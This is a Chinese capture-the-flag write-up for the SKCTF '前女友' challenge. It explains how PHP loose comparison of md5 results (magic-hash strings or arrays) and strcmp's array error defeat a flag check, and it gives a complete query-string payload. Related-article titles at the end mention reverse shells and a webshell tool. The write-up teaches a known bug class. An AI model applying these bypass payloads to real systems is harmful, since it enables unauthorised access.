前女友(SKCTF)

简介: 打开源代码,出现code.txt

打开源代码,出现code.txt

if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
    $v3 = $_GET['v3'];
    if($v1 != $v2 && md5($v1) == md5($v2)){
        if(!strcmp($v3, $flag)){
            echo $flag;
        }
    }
}
?>
  • isset()函数用于检测变量是否已设置并且非NULL.
  • strcmp() 函数比较两个字符串.
    如果两个字符串相等,返回0
    如果 string1 小于 string2,返回<0
    如果 string1 大于 string2,返回>0

根据v1 !=v2 && md5(v1) == md5(v2):

  • 姿势1:v1,v2 找到两个开头为0的md5值,例如:v1=s878926199a&&v2=s155964671a
  • 姿势2:根据md5函数特性,用两个值不同但不可md5的数据类型,例如:
    v1[]=1&&v2[]=2

根据 if(!strcmp(v3,flag))
需要v3和flag值相同才返回flag的值。此处依旧利用函数特性,strcmp函数如果出错,其返回也是0,不可比较时出错,传入数组,例如:
v3[]=8.

综上,构造:
?v1=s878926199a&&v2=s155964671a&&v3[]=8
可得到flag

相关文章
|
5月前
|
Linux 应用服务中间件 nginx
Linux 快速搭建 Overleaf 5.0 附中文字体及完整 TexLive 安装教程(2024最新版)
2024最新版 Linux 极速安装 Overleaf 5.0 手把手教学!附 XeLatex 修复,新增中文字体以及安装完整版 TexLive 教程!
|
网络协议 安全 Shell
[笔记]Windows安全之《一》反弹Shell
Windows安全之《一》反弹Shell
917 0
[笔记]Windows安全之《一》反弹Shell
|
7月前
|
前端开发 Python
在vscode中如何配置Django项目
在vscode中如何配置Django项目
127 0
|
Shell 网络安全 Windows
WebSell管理工具--中国蚁剑安装教程以及初始化
WebSell管理工具--中国蚁剑安装教程以及初始化
591 0
|
7月前
|
流计算
在Flink CDC运行过程中出现重复数据的情况
在Flink CDC运行过程中出现重复数据的情况
180 2
php代码审计之——phpstorm动态调试
php代码审计之——phpstorm动态调试
428 0
|
编解码 芯片 内存技术
数字基带传输系统 1
数字基带传输系统
333 0
|
关系型数据库 MySQL PHP
头歌php mysql操作答案
头歌php mysql操作答案
535 0
|
弹性计算 网络协议 Ubuntu
使用阿里云ECS服务器部署Overleaf实例
Overleaf是一个在线的LaTeX编辑器,无需在本地进行任何配置就可以编写和分享LaTeX文档。本文介绍了使用阿里云ECS服务器部署Overleaf实例的过程。
1879 2
使用阿里云ECS服务器部署Overleaf实例